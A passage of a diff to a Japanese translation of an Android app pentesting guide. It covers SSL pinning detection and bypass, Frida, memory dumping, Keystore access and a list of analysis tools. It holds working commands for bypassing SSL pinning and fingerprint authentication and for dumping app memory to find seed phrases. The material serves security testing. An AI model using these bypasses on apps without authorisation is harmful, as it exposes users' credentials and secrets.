is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. This approach fails to protect sensitive data, such as session cookies or user details, from interception by malicious entities. -#### 証明書の検証 +#### Certificate Verification -ここでは **certificate verification** に焦点を当てます。サーバの証明書の整合性を検証することはセキュリティ強化に不可欠です。insecure な TLS 設定や暗号化されていないチャネルで機密データを送信することは重大なリスクを招くためです。サーバ証明書の検証手順や脆弱性対応の詳細については、[**this resource**](https://manifestsecurity.com/android-application-security-part-10/) を参照してください。 +ここでは **certificate verification** に焦点を当てます。サーバーの証明書の整合性を検証することはセキュリティ強化のために重要です。不適切な TLS 設定や暗号化されていないチャネルでの機密データ送信は重大なリスクをもたらす可能性があります。サーバー証明書の検証方法や脆弱性への対処手順の詳細については、[**this resource**](https://manifestsecurity.com/android-application-security-part-10/) を参照してください。 #### SSL Pinning -SSL Pinning は、アプリがサーバの証明書をアプリ内に保存された既知のコピーと照合するセキュリティ対策です。この手法は MITM 攻撃を防ぐ上で重要です。機密情報を扱うアプリでは SSL Pinning の実装を強く推奨します。 +SSL Pinning は、アプリケーションがサーバーの証明書をアプリ内に保存された既知のコピーと照合して検証するセキュリティ対策です。この手法は MITM 攻撃を防ぐために不可欠です。機密情報を扱うアプリケーションでは SSL Pinning の実装を強く推奨します。 -#### トラフィック検査 +#### Traffic Inspection -HTTP トラフィックを検査するには、プロキシツールの証明書（例：Burp）を **インストールする必要があります**。この証明書をインストールしないと、暗号化されたトラフィックはプロキシ上で見えない可能性があります。カスタム CA 証明書のインストール手順については [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) を参照してください。 +HTTP トラフィックを検査するには、プロキシツールの証明書（例: Burp）を**インストールする必要があります**。この証明書をインストールしていないと、暗号化されたトラフィックはプロキシで見えない場合があります。カスタム CA 証明書のインストール手順については、[**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) を参照してください。 -Applications targeting **API Level 24 and above** は、プロキシの CA 証明書を受け入れるよう Network Security Config を変更する必要があります。暗号化されたトラフィックを検査するにはこの手順が重要です。Network Security Config の変更手順については [**refer to this tutorial**](make-apk-accept-ca-certificate.md) を確認してください。 +API Level 24 and above をターゲットにしたアプリケーションは、プロキシの CA 証明書を受け入れるように Network Security Config を修正する必要があります。この手順は暗号化トラフィックを検査する上で重要です。Network Security Config の変更方法については、[**refer to this tutorial**](make-apk-accept-ca-certificate.md) を参照してください。 -もし **Flutter** を使用している場合は、[**this page**](flutter.md) の指示に従ってください。単に証明書をストアに追加するだけでは動作しないことがあり、Flutter は独自の有効な CA リストを持っているためです。 +If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs. -#### SSL/TLS pinning の静的検出 +#### Static detection of SSL/TLS pinning -runtime bypass を試みる前に、まず APK 内で pinning がどこに強制されているかを素早くマップしてください。静的検出によりフック／パッチの計画が立てやすく、正しいコードパスに集中できます。 +ランタイムでのバイパスを試みる前に、APK 内で pinning が適用されている箇所を素早くマップしてください。静的検出はフックやパッチの計画を助け、適切なコードパスに集中するのに役立ちます。 Tool: SSLPinDetect -- オープンソースの static-analysis ユーティリティで、apk を Smali（apktool 経由）にデコンパイルし、SSL/TLS pinning 実装のためにキュレーションされた regex パターンをスキャンします。 -- 各一致について正確なファイルパス、行番号、コードスニペットを報告します。 -- OkHttp CertificatePinner、カスタム `javax.net.ssl.X509TrustManager.checkServerTrusted`、`SSLContext.init`（カスタム TrustManagers/KeyManagers 使用）や Network Security Config XML pins など、一般的なフレームワークとカスタムコードパスをカバーします。 +- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. +- Reports exact file path, line number, and a code snippet for each match. +- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. Install - Prereqs: Python >= 3.8, Java on PATH, apktool @@ -461,7 +464,7 @@ python sslpindetect.py -f app.apk -a apktool.jar python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` パターンルールの例 (JSON) -独自/カスタムのpinningスタイルを検出するために、signaturesを使用または拡張してください。独自のJSONを読み込み、大規模にscanを実行できます。 +プロプライエタリ/カスタムの pinning スタイルを検出するために、signatures を使用または拡張します。独自の JSON を読み込んで大規模にスキャンできます。 ```json { "OkHttp Certificate Pinning": [ @@ -475,41 +478,43 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ] } ``` -注意とヒント -- 大規模なアプリをマルチスレッディングと memory-mapped I/O で高速スキャン；事前コンパイル済みの regex はオーバーヘッドと誤検知を減らします。 +Notes and tips +- 大規模なアプリを高速にスキャンするには、マルチスレッディングとメモリマップドI/Oを利用する。プリコンパイルされたregexはオーバーヘッドや偽陽性を減らす。 - Pattern collection: https://github.com/aancw/smali-sslpin-patterns - 次にトリアージすべき典型的な検出対象: - - OkHttp: CertificatePinner の使用、setCertificatePinner、okhttp3/okhttp パッケージ参照 - - カスタム TrustManagers: javax.net.ssl.X509TrustManager、checkServerTrusted のオーバーライド - - カスタム SSL contexts: SSLContext.getInstance + SSLContext.init とカスタムマネージャ - - res/xml network security config と manifest の宣言的ピン設定 - - マッチした箇所を使って、Frida フック、静的パッチ、または設定レビューを動的テストの前に計画する。 +- OkHttp: CertificatePinner の使用、setCertificatePinner、okhttp3/okhttp パッケージ参照 +- Custom TrustManagers: javax.net.ssl.X509TrustManager、checkServerTrusted のオーバーライド +- Custom SSL contexts: SSLContext.getInstance + SSLContext.init とカスタムマネージャー +- Declarative pins は res/xml の network security config や manifest の参照にある +- 一致した箇所を活用して、動的テスト前に Frida hooks、static patches、または設定レビューを計画する。 -#### SSL Pinning の回避 -SSL Pinning が実装されている場合、HTTPS トラフィックを検査するためにそれを回避する必要があります。目的のために利用できる方法はいくつかあります: -- 自動的に **変更** して **apk** を **バイパス** するために [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) を使う。 この方法の最大の利点は、SSL Pinning を回避するのに root が不要であることだが、アプリを削除して新しいものを再インストールする必要があり、常に動作するとは限らない。 -- この保護を回避するために **Frida**（後述）を使うこともできる。Burp+Frida+Genymotion を使うガイド: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- [**objection**](frida-tutorial/objection-tutorial.md) を使って **自動的に SSL Pinning をバイパス** することも試せます:**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- **MobSF dynamic analysis** を使って **自動的に SSL Pinning をバイパス** することも試せます（以下に説明） -- まだ取得できていないトラフィックがあると思われる場合は、iptables を使ってトラフィックを Burp に **転送する** ことを試せます。この記事を読む: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +#### Bypassing SSL Pinning -#### 一般的な Web 脆弱性の探索 +SSL Pinning が実装されている場合、HTTPS トラフィックを解析するためにそれをバイパスする必要がある。これを行うための様々な手法が存在する: -アプリ内の一般的な Web 脆弱性も検索することが重要です。これら脆弱性の特定と緩和に関する詳細はこの要約の範囲外ですが、他所で広く解説されています。 +- 自動で [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) を使って **apk** を**変更**し、SSLPinning を**バイパス**する。 この方法の最大の利点は、SSL Pinning をバイパスするために root が不要なことだが、アプリを削除して新しいものを再インストールする必要があり、常に動作するとは限らない。 +- この保護を回避するために **Frida**（下記参照）を使うこともできる。Burp+Frida+Genymotion の使用ガイド: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- [**objection**](frida-tutorial/objection-tutorial.md) を使って **自動的に SSL Pinning をバイパス**することも試せる:**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- **MobSF dynamic analysis** を使って **自動的に SSL Pinning をバイパス**することも試せる（下記参照） +- それでもキャプチャできていないトラフィックがあると思われる場合、iptables を使ってトラフィックを burp に転送してみることができる。この記事を読む: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) + +#### Looking for Common Web Vulnerabilities + +アプリ内で一般的な Web 脆弱性を検索することも重要である。これらの脆弱性の特定や緩和に関する詳細はこの要約の範囲を超えるが、他所で広く扱われている。 ### Frida -[Frida](https://www.frida.re) は開発者、リバースエンジニア、セキュリティ研究者向けの動的インストルメンテーションツールキットです。\ -**実行中のアプリケーションにアクセスしてランタイムでメソッドにフックし、振る舞いを変えたり、値を変更したり、値を抽出したり、別のコードを実行したりできます...**\ -Android アプリを pentest するなら、Frida の使い方を知っておく必要があります。 +[Frida](https://www.frida.re) は、開発者、リバースエンジニア、セキュリティ研究者のための動的インストルメンテーションツールキットである。\ +**実行中のアプリにアクセスしてランタイムでメソッドをフックし、挙動を変更したり、値を変更・抽出したり、別のコードを実行したりできる。**\ +Android アプリを pentest するなら Frida の使い方を知っておく必要がある。 -- Frida の使い方を学ぶ: [**Frida tutorial**](frida-tutorial/index.html) -- Frida 操作のための「GUI」的ツール: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection は Frida の利用を自動化するのに便利: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- いくつかの Awesome Frida スクリプト: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Frida をロードして anti-debugging / anti-frida 機構を回避することを試す: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)（ツール [linjector](https://github.com/erfur/linjector-rs)） +- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html) +- Frida を使った操作のための「GUI」的なもの: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Frida の利用を自動化するには Ojection が便利: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- いくつかの Awesome Frida スクリプトはこちらで見つかる: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Frida をロードして anti-debugging / anti-frida 機構を回避することを試みる: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)（ツール: [linjector](https://github.com/erfur/linjector-rs)） #### Anti-instrumentation & SSL pinning bypass workflow @@ -517,11 +522,11 @@ Android アプリを pentest するなら、Frida の使い方を知っておく android-anti-instrumentation-and-ssl-pinning-bypass.md {{#endref}} -### **メモリダンプ - Fridump** +### **Dump Memory - Fridump** -アプリがパスワードやニーモニック（シードフレーズ）など、本来メモリ内に保持すべきでない機密情報を保存していないか確認してください。 +アプリがパスワードやニーモニックなど、本来メモリに保持すべきでない機密情報をメモリ内に保持していないかを確認する。 -[**Fridump3**](https://github.com/rootbsd/fridump3) を使うと、以下のようにアプリのメモリをダンプできます: +[**Fridump3**](https://github.com/rootbsd/fridump3) を使うと、次のようにしてアプリのメモリをダンプできる: ```bash # With PID python3 fridump3.py -u @@ -530,64 +535,63 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -これにより ./dump フォルダにメモリが dump され、そこで次のように grep できます: +これによりメモリが ./dump フォルダにダンプされ、そこで次のようなコマンドで grep できます: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Keystore内の機密データ** -AndroidではKeystoreが機密データを保存する最良の場所ですが、十分な権限があればそれでも**アクセス可能です**。 -アプリケーションはここに**平文の機密データ**を保存する傾向があるため、pentestsはこれを確認するべきです。root userやデバイスに物理的にアクセスできる者がこのデータを盗める可能性があります。 +AndroidではKeystoreが機密データを保存する最良の場所ですが、十分な権限があればそれでも**アクセス可能**です。アプリはここに**平文の機密データ**を保存する傾向があるため、pentestsはroot userとして確認する必要があります。また、デバイスに物理的にアクセスできる人物がこれらのデータを盗む可能性があります。 -アプリがkeystoreにデータを保存している場合でも、そのデータは暗号化されているべきです。 +たとえアプリがKeystoreにデータを保存していても、そのデータは暗号化されているべきです。 -keystore内のデータにアクセスするには、次のFridaスクリプトを使用できます: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +To access the data inside the Keystore you could use this Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -以下のFridaスクリプトを使用すると、Androidアプリケーションが**特定の機密領域を保護するために**実行している**bypass fingerprint authentication**を回避できる可能性があります: +以下のFridaスクリプトを使用すると、Androidアプリが特定の機密領域を保護するために実行している **bypass fingerprint authentication** を回避できる可能性があります： ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **バックグラウンド画像** -アプリをバックグラウンドに移動すると、Android はアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリ本体より先にその画像を読み込んで、アプリがより速く読み込まれたように見せかけます。 +アプリをバックグラウンドに入れると、Android は **アプリケーションのスナップショット** を保存します。これによりフォアグラウンドに戻したときにアプリより先にその画像を読み込んで、アプリの起動が速く見えるようになります。 -しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる者がその情報を**盗む**可能性があります（アクセスするには root が必要である点に注意してください）。 +しかし、このスナップショットに **機密情報** が含まれている場合、スナップショットにアクセスできる者が **その情報を盗む** 可能性があります（アクセスするには root が必要な点に注意してください）。 -スナップショットは通常次の場所に保存されます： **`/data/system_ce/0/snapshots`** +スナップショットは通常次の場所に保存されます: **`/data/system_ce/0/snapshots`** -Android は、レイアウトパラメータに FLAG_SECURE を設定することで**スクリーンショットのキャプチャを防止する方法**を提供しています。このフラグを使用するとウィンドウの内容がセキュアとして扱われ、スクリーンショットに表示されたり、非セキュアなディスプレイで表示されたりするのを防ぎます。 +Android は **FLAG_SECURE を設定してスクリーンショットの取得を防ぐ方法** を提供しています。このフラグを使用するとウィンドウの内容がセキュアとして扱われ、スクリーンショットに表示されたり安全でないディスプレイで表示されるのを防ぎます。 ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` -### **Android Application Analyzer** +### **Android アプリケーション解析ツール** -このツールは動的解析中にさまざまなツールを管理するのに役立ちます: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +このツールは、動的解析中に複数のツールを管理するのに役立ちます: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -開発者はしばしば activity、service、broadcast receiver のようなプロキシコンポーネントを作成し、これらの Intents を処理して `startActivity(...)` や `sendBroadcast(...)` のようなメソッドに渡すことがありますが、これはリスクを伴います。 +開発者はしばしば activity、service、broadcast receiver のようなプロキシコンポーネントを作成し、これらの Intent を処理して `startActivity(...)` や `sendBroadcast(...)` のようなメソッドに渡しますが、これは危険を伴うことがあります。 -危険なのは、攻撃者がこれらの Intents を誤誘導して non-exported なアプリコンポーネントをトリガーしたり、機密性の高い content providers にアクセスしたりできる点です。顕著な例としては、`WebView` コンポーネントが URL を `Intent.parseUri(...)` を介して `Intent` オブジェクトに変換し、それを実行することで悪意のある Intent 注入を引き起こす可能性があります。 +危険は、攻撃者がこれらの Intent を誤誘導して non-exported なアプリコンポーネントをトリガーしたり、センシティブな content providers にアクセスさせたりできる点にあります。顕著な例としては、`WebView` コンポーネントが URL を `Intent.parseUri(...)` を通じて Intent オブジェクトに変換し、それを実行して結果的に悪意ある Intent 注入を許してしまうケースがあります。 ### Essential Takeaways -- **Intent Injection** は web の Open Redirect 問題に似ています。 -- エクスプロイトは `Intent` オブジェクトを extras として渡し、それがリダイレクトされて安全でない操作を実行させることを含みます。 -- 非エクスポートのコンポーネントや content providers を攻撃者に晒す可能性があります。 -- `WebView` の URL から `Intent` への変換が意図しない動作を引き起こすことがあります。 +- **Intent Injection** は web の Open Redirect 脆弱性に似ています。 +- エクスプロイトは Intent オブジェクトを extras として渡し、それがリダイレクトされて安全でない操作を実行させることを含みます。 +- 非エクスポートのコンポーネントや content providers が攻撃者にさらされる可能性があります。 +- `WebView` の URL→`Intent` 変換により、意図しない動作が誘発されることがあります。 -### Android クライアントサイドの Injections とその他 +### Android Client Side Injections and others -おそらく Web でこの種の脆弱性を知っているでしょう。Android アプリケーションではこれらの脆弱性に特に注意する必要があります: +おそらくこの種の脆弱性は Web で既に聞いたことがあるでしょう。Android アプリケーションでは次の脆弱性に特に注意する必要があります: -- **SQL Injection:** 動的クエリや Content-Providers を扱う場合は、パラメータ化クエリを使用していることを確認してください。 -- **JavaScript Injection (XSS):** 任意の WebViews では JavaScript と Plugin サポートが無効になっていることを確認してください（デフォルトでは無効）。[より詳しくはこちら](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** WebViews はファイルシステムへのアクセスを無効にしておくべきです（デフォルトで有効） - `(webview.getSettings().setAllowFileAccess(false);)`。[より詳しくはこちら](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: 多くの場合、Android アプリケーションがセッションを終了しても cookie が取り消されない、あるいはディスクに保存されてしまうことがあります。 +- **SQL Injection:** 動的なクエリや Content-Providers を扱う場合は、パラメータ化されたクエリを使用していることを確認してください。 +- **JavaScript Injection (XSS):** 任意の WebViews で JavaScript と Plugin のサポートが無効になっていることを確認してください（デフォルトで無効）。 [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** WebViews のファイルシステムへのアクセスは無効にするべきです（デフォルトで有効） - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: 多くの場合、Android アプリがセッションを終了しても cookie が取り消されなかったり、ディスクに保存されてしまったりします。 - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -600,7 +604,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ![](<../../images/image (866).png>) -**Vulnerability assessment of the application** を使った見やすい web ベースのフロントエンドでの解析。動的解析も実行できます（ただし環境の準備が必要です）。 +**アプリケーションの脆弱性評価** を、使いやすいウェブベースのフロントエンドで行えます。動的解析も実行できます（ただし環境の準備が必要です）。 ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest @@ -653,15 +657,15 @@ exported_activities services receivers ``` -**HTTPツール** +**HTTP ツール** -HTTPトラフィックをキャプチャすると、"**HTTP(S) Traffic**" ボトムでキャプチャしたトラフィックの見にくい表示が見られるか、"**Start HTTPTools**" の緑色のボタンでより見やすい表示を見ることができます。後者のオプションから、キャプチャしたリクエストを Burp や Owasp ZAP のような **プロキシ** に **送信** できます。\ -To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +http トラフィックがキャプチャされると、キャプチャしたトラフィックの見づらい表示を「**HTTP(S) Traffic**」ボトムで、より見やすい表示を「**Start HTTPTools**」緑色のボタンで確認できます。後者から、**キャプチャされたリクエスト**を **プロキシ**（Burp や Owasp ZAP など）に **送信**することができます。\ +手順: _Burp を起動 -->_ _Intercept をオフ --> MobSB HTTPTools でリクエストを選択_ --> 「**Send to Fuzzer**」を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。 -動的解析を MobSF で終えたら、"**Start Web API Fuzzer**" を押して **fuzz http requests** を行い、脆弱性を探すことができます。 +MobSF で dynamic analysis を終えたら、「**Start Web API Fuzzer**」を押して **fuzz http requests** を実行し、脆弱性を探すことができます。 > [!TIP] -> MobSF で動的解析を行った後、プロキシ設定が誤って構成され、GUI から修正できないことがあります。プロキシ設定は以下のように修正できます： +> MobSF で dynamic analysis を行った後、プロキシ設定が誤って構成され、GUI から修正できない場合があります。プロキシ設定は以下で修正できます: > > ``` > adb shell settings put global http_proxy :0 @@ -670,17 +674,17 @@ To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select ### Inspeckage を使った支援付き動的解析 ツールは [**Inspeckage**](https://github.com/ac-pm/Inspeckage) から入手できます。\ -このツールはいくつかの **Hooks** を使用して、**動的解析** を行っている間にアプリケーション内で**何が起きているか**を知らせてくれます。 +このツールは一部の **Hooks** を利用して、**dynamic analysis** 実行中にアプリケーション内で **what is happening in the application** を把握させてくれます。 ### [Yaazhini](https://www.vegabird.com/yaazhini/) -これは **GUI で静的解析を行うための優れたツール** です +GUI を使った静的解析を行うための優れたツールです ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -このツールは、**セキュリティ関連の Android アプリケーション脆弱性** を、**ソースコード** または **packaged APKs** のいずれかで検出するように設計されています。さらに、このツールは発見した脆弱性（Exposed activities、intents、tapjacking...）を悪用するための "Proof-of-Concept" なデプロイ可能な APK と **ADB commands** を作成することができます。Drozer と同様に、テストデバイスを root 化する必要はありません。 +このツールは、**security related Android application vulnerabilities** を、**source code** または **packaged APKs** のいずれでも検出するよう設計されています。さらに、発見された一部の脆弱性（Exposed activities、intents、tapjacking など）を悪用するための、"Proof-of-Concept" としてデプロイ可能な APK や **ADB commands** を作成することもできます。Drozer と同様に、テストデバイスを root する必要はありません。 ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -689,20 +693,20 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- 参照しやすいように抽出されたすべてのファイルを表示します -- APKファイルを自動的にJavaおよびSmali形式にデコンパイルします -- 一般的な脆弱性や挙動についてAndroidManifest.xmlを解析します -- 静的ソースコード解析により、一般的な脆弱性や挙動を検出します +- 抽出したすべてのファイルを表示し、参照を容易にする +- APKファイルを自動的にJavaおよびSmali形式にデコンパイルする +- AndroidManifest.xmlを解析して一般的な脆弱性や挙動を検出する +- 一般的な脆弱性や挙動に対する静的ソースコード解析 - デバイス情報 -- その他多数 +- など ```bash reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER は Windows、MacOS X、Linux で利用できるコマンドラインアプリケーションで、_.apk_ ファイルを解析して脆弱性を検出します。APK を展開し、一連のルールを適用して脆弱性を見つけます。 +SUPER は Windows、MacOS X、Linux で使用できるコマンドラインアプリケーションで、_.apk_ ファイルを解析して脆弱性を探します。これは APK を展開し、一連のルールを適用して脆弱性を検出することで行われます。 -すべてのルールは `rules.json` ファイルに集約されており、各企業やテスターは必要に応じて独自のルールを作成できます。 +すべてのルールは `rules.json` ファイルに集約されており、各企業やテスターは独自のルールを作成して必要な解析を行えます。 最新のバイナリは [download page](https://superanalyzer.rocks/download.html) からダウンロードしてください。 ``` @@ -712,17 +716,17 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn は、モバイルアプリケーションに対して [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) を行う開発者、bugbounty hunters、ethical hackers を支援する**クロスプラットフォーム**ツールです。 +StaCoAnはモバイルアプリケーションに対する [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) を行う開発者、bugbounty hunters、ethical hackers を支援する **crossplatform** ツールです。 -コンセプトは、モバイルアプリケーションファイル（.apk または .ipa ファイル）を StaCoAn アプリケーションにドラッグアンドドロップすると、視覚的で持ち運び可能なレポートを生成するというものです。設定や wordlists を調整して、カスタマイズされた体験を得ることができます。 +コンセプトは、モバイルアプリのファイル（.apk または .ipa ファイル）を StaCoAn アプリにドラッグ＆ドロップすると、視覚的で持ち運び可能なレポートを生成してくれる、というものです。設定や wordlists を調整してカスタマイズされた体験を得られます。 -Download[ latest release](https://github.com/vincentcox/StaCoAn/releases): +ダウンロード[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ./stacoan ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework は、開発者や hackers が Android アプリケーションの潜在的なセキュリティ脆弱性を発見するのに役立つ脆弱性解析システムです.\ +AndroBugs Frameworkは、Androidアプリケーションの潜在的なセキュリティ脆弱性を開発者やハッカーが発見するのを支援する脆弱性解析システムです。\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -730,11 +734,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** は、Android アプリケーションによって発生する可能性のある悪意のある振る舞いを検出し、ユーザーに警告することを主目的としたツールです。 +**Androwarn** は、Android アプリケーションによって発生する潜在的な悪意ある振る舞いを検出し、ユーザーに警告することを主な目的としたツールです。 -検出は、[`androguard`](https://github.com/androguard/androguard) ライブラリを用いて、アプリケーションの Dalvik bytecode（**Smali** 表現）に対する **static analysis** により行われます。 +検出は、アプリケーションの Dalvik バイトコードを **Smali** として表現したものに対する **static analysis** を、[`androguard`](https://github.com/androguard/androguard) ライブラリで行います。 -このツールは、**悪意のあるアプリケーションの一般的な挙動**（例：Telephony identifiers exfiltration、Audio/video flow interception、PIM data modification、Arbitrary code execution...）を検出します。 +このツールは、**「悪質な」アプリケーションの一般的な挙動** を検出します。例: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -742,48 +746,48 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** は **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework の略です。一般的に使用されるモバイルアプリのリバースエンジニアリングおよび解析ツールをまとめたツールで、モバイルアプリを OWASP のモバイルセキュリティ脅威に対してテストするのを支援します。目的は、モバイルアプリ開発者やセキュリティ専門家にとってこの作業をより簡単かつ扱いやすくすることです。 +**MARA** はモバイルアプリの逆解析および解析のフレームワークです。一般的に使用されるモバイルアプリの逆解析・解析ツールをまとめ、OWASP のモバイルセキュリティ脅威に対するテストを支援します。目的は、この作業をモバイルアプリ開発者やセキュリティ専門家にとってより簡単で扱いやすくすることです。 It is able to: -- Extract Java and Smali code using different tools -- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Extract private information from the APK using regexps. -- Analyze the Manifest. -- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) -- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com) +- さまざまなツールを使用して Java および Smali コードを抽出する +- 以下のツールを使って APK を解析する: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- regexps を使って APK からプライベート情報を抽出する +- Manifest を解析する +- 発見したドメインを以下で解析する: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) +- [apk-deguard.com] を使って APK の deobfuscate を行う ### Koodous -malware を検出するのに有用: [https://koodous.com/](https://koodous.com/) +マルウェア検出に有用: [https://koodous.com/](https://koodous.com/) ## Obfuscating/Deobfuscating code -Note that depending the service and configuration you use to obfuscate the code. Secrets may or may not ended obfuscated. +使用するサービスや設定によって、コードの難読化によってシークレット（秘密情報）が難読化される場合とされない場合があることに注意してください。 ### [ProGuard]() -From [Wikipedia](): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2. +From [Wikipedia](): **ProGuard** は Java コードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuard はフリーソフトウェアで、GNU General Public License, version 2 の下で配布されています。 -ProGuard is distributed as part of the Android SDK and runs when building the application in release mode. +ProGuard は Android SDK の一部として配布され、アプリを release モードでビルドする際に動作します。 ### [DexGuard](https://www.guardsquare.com/dexguard) -Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +APK を deobfuscate するためのステップバイステップガイドは [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) を参照してください。 -(From that guide) Last time we checked, the Dexguard mode of operation was: +(そのガイドによると) 最後に確認したときの Dexguard の動作モードは次の通りでした: -- load a resource as an InputStream; -- feed the result 